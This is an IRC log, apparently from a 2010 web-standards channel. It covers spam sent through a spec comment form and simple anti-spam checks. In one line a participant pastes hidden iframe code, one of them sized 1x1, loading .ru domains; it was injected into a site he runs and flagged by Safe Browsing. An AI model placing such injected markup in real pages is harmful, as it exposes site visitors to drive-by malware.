- # [18:51] * Joins: Peter- (~peter@5ED0FCE8.cm-7-1d.dynamic.ziggo.nl)
- # [18:52] * Joins: ap (~ap@2620:0:1b00:1191:226:4aff:fe14:aad6)
- # [18:53] * Joins: estes (~aestes@76-220-34-58.lightspeed.sntcca.sbcglobal.net)
- # [18:54] * Joins: drunknbass (~drunknbas@76.91.255.83)
- # [19:01] * Quits: MikeSmith (~MikeSmith@EM111-188-27-19.pool.e-mobile.ne.jp) (Ping timeout: 240 seconds)
- # [19:01] * Joins: MikeSmith (~MikeSmith@EM111-188-27-19.pool.e-mobile.ne.jp)
- # [19:03] * Quits: meandi (~meandi@dyndsl-178-142-062-007.ewe-ip-backbone.de) (Read error: Connection reset by peer)
- # [19:05] * Quits: JoePeck (~JoePeck@2620:0:1b00:1171:d69a:20ff:febd:c914) (Remote host closed the connection)
- # [19:06] * Joins: JoePeck (~JoePeck@2620:0:1b00:1171:d69a:20ff:febd:c914)
- # [19:06] * Joins: meandi (~meandi@dyndsl-178-142-062-007.ewe-ip-backbone.de)
- # [19:08] * Quits: aroben (~aroben@unaffiliated/aroben) (Ping timeout: 252 seconds)
- # [19:08] * Quits: MikeSmith (~MikeSmith@EM111-188-27-19.pool.e-mobile.ne.jp) (Quit: Deyr fé deyja, frændr deyr, sjálfr et sama)
- # [19:08] * Quits: mpt (~mpt@canonical/mpt) (Ping timeout: 250 seconds)
- # [19:11] * Quits: jdaggett (~jdaggett@ac242062.dynamic.ppp.asahi-net.or.jp) (Quit: jdaggett)
- # [19:14] * Joins: tndH (~Rob@cpc6-seac20-2-0-cust102.7-2.cable.virginmedia.com)
- # [19:20] * Joins: MikeSmith (~MikeSmith@EM114-48-56-234.pool.e-mobile.ne.jp)
- # [19:24] * Joins: workmad3 (~workmad3@cpc3-bagu10-0-0-cust651.1-3.cable.virginmedia.com)
- # [19:26] * Quits: karlcow (~karl@nerval.la-grange.net) (Ping timeout: 252 seconds)
- # [19:34] * Joins: chronos (~quassel@unaffiliated/chronos)
- # [19:35] <jmartelatpapirux> Au revoir
- # [19:35] * Parts: jmartelatpapirux (debian-tor@gateway/tor-sasl/jmartelatpapirux) ("SIGSEGV-Error report print to stout...ŋđħŋjßħĸħŋħß")
- # [19:36] * Joins: jennb (~jennb@74.125.59.65)
- # [19:36] * Joins: peterhil (~peterhil@a91-153-127-82.elisa-laajakaista.fi)
- # [19:47] * Quits: timeless_mbp (~timeless@a88-115-8-36.elisa-laajakaista.fi) (Quit: Leaving.)
- # [19:50] * Joins: karlcow (~karl@nerval.la-grange.net)
- # [19:50] * Parts: adactio (~adactio@host213-123-197-180.in-addr.btopenworld.com)
- # [19:52] * Joins: othermaciej (~mjs@66.109.106.192)
- # [19:53] <TabAtkins_> Philip`: I *love* seeing all the mail. What I don't love is that almost all of the anon mail from the W3C spec is spam. We should just turn that one off.
- # [19:54] <TabAtkins_> gsnedders: I did the IR with 6 because I thought I had to use a public build. There was some discussion about using more recent builds, but I didn't see anything about changing the requirements written in the spec, so I went with what the spec said.
- # [19:58] <TabAtkins_> And 6 was the public build a few weeks ago.
- # [20:01] <Philip`> TabAtkins_: How can you tell it's from the W3C spec?
- # [20:01] * Joins: tndH_ (~Rob@cpc6-seac20-2-0-cust102.7-2.cable.virginmedia.com)
- # [20:01] <TabAtkins_> Philip`: They all have the section of http://www.whatwg.org/specs/web-apps/current-work/#top
- # [20:01] * Quits: tndH (~Rob@cpc6-seac20-2-0-cust102.7-2.cable.virginmedia.com) (Ping timeout: 245 seconds)
- # [20:01] <TabAtkins_> I thought that the w3c version always did that?
- # [20:02] * TabAtkins_ might be wrong.
- # [20:02] * tndH_ is now known as tndH
- # [20:02] <TabAtkins_> In any case, flagging anything from #top specially so it needs moderation before hitting the list would fix almost all of the spam problems.
- # [20:02] * Philip` has no idea
- # [20:02] <TabAtkins_> Alternately, just not allowing bugs to be filed on #top.
- # [20:02] * Quits: MikeSmith (~MikeSmith@EM114-48-56-234.pool.e-mobile.ne.jp) (Quit: Deyr fé deyja, frændr deyr, sjálfr et sama)
- # [20:03] * Joins: MikeSmith (~MikeSmith@EM114-48-56-234.pool.e-mobile.ne.jp)
- # [20:07] <TabAtkins_> Philip`: Yeah, there's no #top in the whatwg copy, and the w3c comments form explicitly indicates its id as "top" in a hidden input.
- # [20:07] * Joins: mpt (~mpt@canonical/mpt)
- # [20:15] * Quits: MikeSmith (~MikeSmith@EM114-48-56-234.pool.e-mobile.ne.jp) (Ping timeout: 265 seconds)
- # [20:17] * Quits: Anti-X (~duckmysic@cAE70BF51.dhcp.bluecom.no) (Ping timeout: 264 seconds)
- # [20:18] * Joins: MikeSmith (~MikeSmith@EM111-188-6-231.pool.e-mobile.ne.jp)
- # [20:19] * Joins: ttepasse (~ttepasse@ip-109-90-161-169.unitymediagroup.de)
- # [20:22] * Joins: Anti-X (~duckmysic@109.179.6.237.tmi.telenormobil.no)
- # [20:23] * Quits: miketaylr (~miketaylr@24.42.95.108) (Quit: miketaylr)
- # [20:37] * Quits: othermaciej (~mjs@66.109.106.192) (Quit: othermaciej)
- # [20:41] * Joins: jwalden (~waldo@nat/mozilla/x-olivkfsdcymmdqme)
- # [20:43] * Joins: othermaciej (~mjs@17.246.18.163)
- # [20:43] * Joins: oknoway (~oknoway@173-8-201-137-Oregon.hfc.comcastbusiness.net)
- # [20:46] * Quits: Peter- (~peter@5ED0FCE8.cm-7-1d.dynamic.ziggo.nl) (Ping timeout: 240 seconds)
- # [20:46] * Joins: Peter- (~peter@5ED0FCE8.cm-7-1d.dynamic.ziggo.nl)
- # [20:56] <jgraham> Isn't 80% spam considerably better than email in general?
- # [20:56] <jgraham> Of course no one has tried to use it for really maliciuos purposes yet
- # [20:57] <AryehGregor> If you don't account for spam filtering, yes.
- # [20:57] <jgraham> (and I agree it should be fixed, in case there is any doubt)
- # [20:57] <AryehGregor> 80% spam actually ending up in anyone's mailbox is a lot worse than e-mail in general, I hope.
- # [20:57] <jgraham> Sure
- # [20:58] <jgraham> One could try using the same spam filtering here
- # [20:58] <jgraham> If one wanted a complex technical solution
- # [20:58] <Hixie> we reduced the spam on the whatwg form by having some JS count the spaces and stuff
- # [20:58] <Hixie> we could do the same here if that would help
- # [20:59] <Hixie> i just tried a quick hack
- # [20:59] <othermaciej> I did notice that many of the spam bugs do not contain a space
- # [20:59] <Hixie> that didn't have JS
- # [20:59] <Hixie> but i can add JS
- # [21:00] * Joins: mhausenblas (~mhausenbl@wg1-nat.fwgal01.deri.ie)
- # [21:00] <jgraham> I was actually just going to suggest some "minimal useful comment" metric
- # [21:01] <jgraham> as a simple technical solution
- # [21:03] * Quits: estes (~aestes@76-220-34-58.lightspeed.sntcca.sbcglobal.net) (Quit: estes)
- # [21:04] <Hixie> i'll hack something in
- # [21:04] <AryehGregor> I once had a comment rejected for being too short (in the WHATWG version), so don't we have such a thing already?
- # [21:04] <Hixie> see above, teh w3c one doesn't have that code
- # [21:05] <TabAtkins_> Anything to stop the "asdfasdf"-style comments would be greatly welcome. It would be extra awesome if it silently discarded messages that super-failed the metric you used, to discourage just altering the message to have more asdf. (Alerting about the message when it merely somewhat fails the metric is good, though.)
- # [21:06] <AryehGregor> I think you should always alert.
- # [21:06] <AryehGregor> If it's a real human doing it, it's unlikely to be a big problem.
- # [21:06] <AryehGregor> Unless we get hardcore vandalism problems.
- # [21:07] <TabAtkins_> In which case, reverting to the previous hurdle of "have to email the group or submit a bug yourself" is sufficient.
- # [21:07] <AryehGregor> Yes.
- # [21:07] <AryehGregor> But that's not necessary yet.
- # [21:09] * jgraham wonders how far along the path of "determine if a given string is likely a valid sentence in English" current AI/NLP will get you
- # [21:09] <jgraham> Not as a very practical solution but because it seems interesting
- # [21:09] * Quits: davidwalsh (~davidwals@75-134-27-91.dhcp.mdsn.wi.charter.com) (Quit: Reading http://davidwalsh.name)
- # [21:10] <Philip`> You could probably get a long way just with a spellchecker
- # [21:11] * Quits: workmad3 (~workmad3@cpc3-bagu10-0-0-cust651.1-3.cable.virginmedia.com) (Remote host closed the connection)
- # [21:11] <AryehGregor> I forgive Google Safe Browsing for all the false positives I've ever seen from it.
- # [21:11] * Joins: meandi2 (~meandi@dyndsl-085-016-089-006.ewe-ip-backbone.de)
- # [21:11] <Moo-_-> jgraham: just sample all text from digg.com and match against it. if it matches it is *not* valid english :)
- # [21:11] <AryehGregor> I just got a warning for a site I administer named bridgeshul.com, and indeed . . . <iframe src="http://eftpsid0342943.ru/contacts/s3" width=1 height=1></iframe><iframe src="http://eftpsid0343233.ru/contacts/s3"></iframe>
- # [21:11] <jgraham> Philip`: That was actually where my train of thought started
- # [21:11] <AryehGregor> Maybe I should switch to a host that doesn't require you to use FTP to administer the site.
- # [21:12] <jgraham> Submit to a webservice that returns the fraction of the tokens that are recognised english words
- # [21:12] * Quits: meandi (~meandi@dyndsl-178-142-062-007.ewe-ip-backbone.de) (Ping timeout: 276 seconds)
- # [21:14] * Philip` wonders what fraction the HTML5 spec would score on such a test
- # [21:16] <Hixie> ok i've updated the form, give it a few minutes to regen and commit
- # [21:25] * Joins: estes (~aestes@17.246.17.108)
- # [21:28] * AryehGregor discovers his host allows SFTP
- # [21:32] * Joins: timeless_mbp (~timeless@a88-115-8-36.elisa-laajakaista.fi)
- # [21:33] * Quits: davidb__ (~davidb@mozca02.ca.mozilla.com) (Quit: davidb__)
- # [21:34] * Joins: erlehmann (~erlehmann@89.204.153.96)
- # [21:36] * Joins: workmad3 (~workmad3@cpc3-bagu10-0-0-cust651.1-3.cable.virginmedia.com)
- # [21:36] * Quits: roc (~roc@121.98.230.221) (Quit: roc)
- # [21:40] * Joins: nessy (~Adium@124-168-60-18.dyn.iinet.net.au)
- # [21:45] * Joins: Craig` (~craig@host81-141-115-0.wlms-broadband.com)
- # [21:47] * Joins: heycam (~cam@203-97-204-82.dsl.clear.net.nz)
- # [21:48] * Joins: dbaron (~dbaron@nat/mozilla/x-vdmedsjvsxzvlzgm)
- # [21:48] * Quits: ttepasse (~ttepasse@ip-109-90-161-169.unitymediagroup.de) (Read error: Connection reset by peer)
- # [21:50] * Joins: cypha (~sallabanc@69.50.70.12)
- # [21:50] * Quits: cypha (~sallabanc@69.50.70.12) (Changing host)
- # [21:50] * Joins: cypha (~sallabanc@unaffiliated/cypha)
- # [21:53] * Quits: baba (~sallabanc@unaffiliated/cypha) (Ping timeout: 240 seconds)
- # [21:53] * Quits: karlcow (~karl@nerval.la-grange.net) (Remote host closed the connection)
- # [22:00] * Joins: karlcow (~karl@nerval.la-grange.net)
- # [22:04] * Quits: karlcow (~karl@nerval.la-grange.net) (Remote host closed the connection)
- # [22:11] * Quits: cypha (~sallabanc@unaffiliated/cypha) (Ping timeout: 272 seconds)
- # [22:14] * Quits: hamcore (rhythm@unaffiliated/hamcore)
- # [22:14] * Quits: plainhao (~plainhao@mail.xbiotica.com) (Quit: plainhao)
- # [22:14] * Joins: roc (~roc@203-97-204-82.dsl.clear.net.nz)
- # [22:18] * Joins: ttepasse (~ttepasse@ip-109-90-161-169.unitymediagroup.de)
- # [22:18] * Quits: matjas (~matjas@91.182.217.84) (Remote host closed the connection)
- # [22:20] * Joins: matjas (~matjas@91.182.217.84)
- # [22:21] * Quits: matjas (~matjas@91.182.217.84) (Remote host closed the connection)
- # [22:21] * Joins: espadrine (~espadrine@acces0670.res.insa-lyon.fr)
- # [22:22] * Quits: chronos (~quassel@unaffiliated/chronos) (Remote host closed the connection)
- # [22:22] * Quits: heycam (~cam@203-97-204-82.dsl.clear.net.nz) (Quit: bye)
- # [22:23] * Joins: heycam (~cam@203-97-204-82.dsl.clear.net.nz)
- # [22:36] * Joins: karlcow (~karl@nerval.la-grange.net)
- # [22:41] * Quits: othree (~othree@140.118.5.39) (Ping timeout: 252 seconds)
- # [22:43] * Joins: othree (~othree@admin39.ct.ntust.edu.tw)
- # [22:45] * Joins: aroben (~aroben@unaffiliated/aroben)
- # [22:45] * Quits: oknoway (~oknoway@173-8-201-137-Oregon.hfc.comcastbusiness.net) (Quit: oknoway)
- # [22:46] * Quits: ROBOd (~robod@109.96.227.20) (Quit: .)
- # [22:53] * Quits: Craig` (~craig@host81-141-115-0.wlms-broadband.com) (Read error: Connection reset by peer)
- # [23:01] * Quits: eric_carlson (~ericc@2620:0:1b00:1191:223:32ff:feb1:5d30) (Quit: eric_carlson)
- # [23:04] * Joins: sean` (~Sean@84-106-110-173.cable.quicknet.nl)
- # [23:04] * Parts: sean` (~Sean@84-106-110-173.cable.quicknet.nl)
- # [23:04] * Quits: mpt (~mpt@canonical/mpt) (Ping timeout: 240 seconds)
- # [23:05] * Quits: svl (~me@ip565744a7.direct-adsl.nl) (Quit: And back he spurred like a madman, shrieking a curse to the sky.)
- # [23:06] * Joins: mpt (~mpt@canonical/mpt)
- # [23:06] * aroben is now known as aroben|meeting
- # [23:10] <hober> I'm pretty sure Mark will laugh about this eventually http://twitter.com/hober/statuses/27964564498
- # [23:12] * Quits: Maurice (copyman@5ED573FA.cm-7-6b.dynamic.ziggo.nl)
- # [23:14] * Joins: nimbupani (~nimbupani@c-24-22-131-46.hsd1.wa.comcast.net)
- # [23:17] * Quits: mhausenblas (~mhausenbl@wg1-nat.fwgal01.deri.ie) (Quit: brb)
- # [23:19] * Joins: baba (~sallabanc@unaffiliated/cypha)
- # [23:25] * Quits: BlurstOfTimes (~blurstoft@168.203.117.107) (Remote host closed the connection)
- # [23:30] * Joins: mdelaney (~mdelaney@2620:0:1b00:1191:d69a:20ff:febf:89a0)
- # [23:34] * Joins: Lachy (~Lachlan@212.17.135.34)
- # [23:35] * Joins: jdaggett (~jdaggett@ac242062.dynamic.ppp.asahi-net.or.jp)
- # [23:36] * Joins: miketaylr (~miketaylr@24.42.95.108)
- # [23:40] * Quits: mpt (~mpt@canonical/mpt) (Ping timeout: 265 seconds)
- # [23:50] * Quits: meandi2 (~meandi@dyndsl-085-016-089-006.ewe-ip-backbone.de) (Quit: Nettalk6 - www.ntalk.de)
- # [23:58] * Joins: JohnnyAmerica (~Simon@213-64-113-37-no97.tbcn.telia.com)
- # [23:58] <GPHemsley> Hixie: Not an especially high priority, but there is a semicolon missing here: http://www.w3.org/Style/css2-updates/css2/changes.html#q457
- # [23:58] <Hixie> i don't edit that file anymore
- # [23:58] <Hixie> TabAtkins_ might though
- # [23:59] <GPHemsley> oh... perhaps that should be made clearer in the header? :)
- # Session Close: Thu Oct 21 00:00:00 2010
The end :)